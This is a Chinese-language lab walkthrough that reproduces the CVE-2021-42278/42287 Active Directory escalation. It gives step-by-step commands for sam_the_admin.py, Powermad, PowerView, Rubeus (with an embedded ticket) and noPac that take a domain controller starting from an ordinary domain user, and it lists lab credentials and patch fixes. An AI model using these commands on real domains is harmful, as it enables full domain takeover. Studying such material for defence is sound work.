前言
最近出了两个漏洞:
-
CVE-2021-42278,机器账户的名字一般来说应该以
$
结尾,但AD没有对域内机器账户名做验证。 -
CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在
TGS_REP
阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket
,提供一个属于该账户的PAC
,然后我们就得到了一个高权限ST。
说白了就是:如果获得了 DC 用户的 TGT 票据且域内有一台名为 DC$ 域控,再将 DC 用户删除,此时使用该 TGT 去请求 s4u2self,如果域控制器帐户 DC$ 存在,那么 DC 就能获得域控制器帐户(机器用户DC$)的 ST 票证。
假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。
漏洞环境
在这里我使用的是渗透攻击红队的内网域渗透靶场:redteam.red 域
IP | 机器名 | 用户名:密码 |
---|---|---|
10.10.10.8(DC) | owa | redteam/Administrator:Admin12345 |
10.10.10.7 | Work-7 | redteam/saul:Red12345 |
CVE-2021-42287/CVE-2021-42278 Attack
Python 利用脚本:https://github.com/WazeHell/sam-the-admin
前置条件:需要一个域用户
利用过程:
python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell
该漏洞利用十分简单粗暴,只需要一个域用户账户即可拿到 DC 的控制权限。
CVE-2021-42287/CVE-2021-42278 深入分析
具体利用流程是这样的:
-
首先创建一个机器账户,可以使用 impacket 的
addcomputer.py
或是powermad
addcomputer.py
是利用SAMR协议
创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除 -
清除机器账户的
servicePrincipalName
属性 -
将机器账户的
sAMAccountName
,更改为DC的机器账户名字,注意后缀不带$ -
为机器账户请求TGT
-
将机器账户的
sAMAccountName
更改为其他名字,不与步骤3重复即可 -
通过S4U2self协议向DC请求ST
-
进行 DCsync Attack
那么我们一步步来再次复现一遍:
1、首先 saul 用户是一个普通的域用户:
2、通过利用 powermad.ps1
新增机器帐号(域用户默认可以新建10个机器账户)
下载地址:https://github.com/Kevin-Robertson/Powermad
命令语法:
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .Powermad.ps1
# 运行完后需要输入一下密码:whoami(可任意密码)
New-MachineAccount -MachineAccount saulgoodman -Domain redteam.red -DomainController owa.redteam.red -Verbose
# 验证是否添加成功
net group "domain computers" /domain
3、clear its SPNs(清除SPN信息)
# 导入一下 PowerView.ps1
Import-Module .PowerView.ps1
Set-DomainObject "CN=saulgoodman,CN=Computers,DC=redteam,DC=red" -Clear 'serviceprincipalname' -Verbose
4、reset the computer name(重设机器名称)
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "owa" -Attribute samaccountname -Verbose
5、Request TGT (请求TGT)
./Rubeus.exe asktgt /user:owa /password:whoami /domian:redteam.red /dc:owa.redteam.red /nowrap
6、Change Machine Account samaccountname(改回原来属性,或者其他的)
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
7、Request S4U2self(获取票据)
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/owa.redteam.red" /dc:"owa.redteam.red" /ptt /ticket:doIEpjCCBKKgAwIBBaEDAgEWooIDwzCCA79hggO7MIIDt6ADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA30wggN5oAMCARehAwIBAqKCA2sEggNndmn7rhIzitxI2VghguavSAJRzkfZBeA2CzvontUXgh7tg5S9kwPXwy/BcbirLKK1gZ4TeGDgM9ILshg5MaWehy5PsQaxNUczNW+n5FqqaXaKqPD3hCibVaRcV8vasIuuD9hpgaxtG1DJKKopAJyJTbKIrijjxL2yEY07ZZdSEpsKdvFhVwmgHsSG7ZabLyaJ1T+DdZ+gwBme5oNqInvJdWCsc7/5Me/ImDtMuAAEGXfYPIZtIq4Z07QubAJJw1TAa+qpT7VqvCiwu1fh4kryx5z4yzI2GowaiJqgCKJ5f7j7uIM7WanM9YICI8NQsmD4O8c7GJDoureq4BgrNJtXTSN37m9r8MH6Pym9bDi2ZWCV+irr7AjI9ppOvDtFhxq83MmQTJCiuOKGY87qxrsufn3/c2EVK7L1aqpF3ajkZGBKLg3D8InOQe0UpCqAT0Ke+cbp6v/ZnSumLDeI2dAw7PABFDoTKIOWlGntngC5yuhZVf5rWkj0xHxhI+WqQbWdX34OlUF0LVOyJaS8h/LC552/veEM+zyks8UdOvFibpdJYbHYVTYXkuM4nBJ745XwoOjgyDyoTHF0WFwg6iQLXPLZsbAt6FFHPHSK3Pst0YrorYX6SkXdPM/Whu/FeEnoj3V9VZJzmME8uDk34A4Ga5nFDP2wUwDr8gwb4N8Xl1HjG2cSLlujDk6rT3jm6QWLhH8zZBAU3XrXTpPqsqJwXU7PV4WlAectCBgVoSRBxHq/rPSqgWQUi3wFGWheXlIK/ljwqlpwFVdz5TnoLSfEk8Qeml3itjdDhXYln4lpUE8r7K5H0u2D3rMUXs4gFhJCM9s3ErWGfqCMggAs0dg8+G6zcYy3w8OaiCnvRQiDgqrISN0ELWkFjf5X1HqD170p88zXo8ILUMBIYkRx5rNK5GrFwVQNqlWSORT8YNp5LAsQ8vZ+4N+hKOcyapIfRR/SOil6Ed8/UsPWZJjj7zHUDtBUoak3xK4mVqJp2894bdsgScd8uRsPSq4MkPi7YZ2CNEubLU2h8wGOPaecSbfAFDyrbRZnCWzIkKrjtw63qIY032THk0gqpZ3tHSIQHhGLnl34LuLG7nMqvIAlrWOf8brFUa4O85UC3roOMqU0fh8ko8rd332Nt3BHpRQvA2lcutqp/pAgV6OBzjCBy6ADAgEAooHDBIHAfYG9MIG6oIG3MIG0MIGxoBswGaADAgEXoRIEEPTgo0jbEFFl/FfX7+MXbZmhDRsLUkVEVEVBTS5SRUSiEDAOoAMCAQGhBzAFGwNvd2GjBwMFAEDgAAClERgPMjAyMTEyMTMxMDI3MTRaphEYDzIwMjExMjEzMjAyNzE0WqcRGA8yMDIxMTIyMDEwMjcxNFqoDRsLUkVEVEVBTS5SRUSpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3JlZHRlYW0ucmVk
可能是我环境的问题,Rubeus.exe 获取票据的时候报错了。
noPac Tools Attack
后续使用:https://github.com/cube0x0/noPac (需安装 .net 4.0+)
1、扫描是否存在漏洞:
.noPac.exe scan -domain redteam.red -user saul -pass 'Red12345'
2、漏洞利用:
./noPac.exe -domain redteam.red -user saul -pass 'Red12345' /dc owa.redteam.red /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
漏洞修复方式
-
微软官方已推出补丁:KB5008602、KB5008380
-
通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链。
本文来源自:渗透攻击红队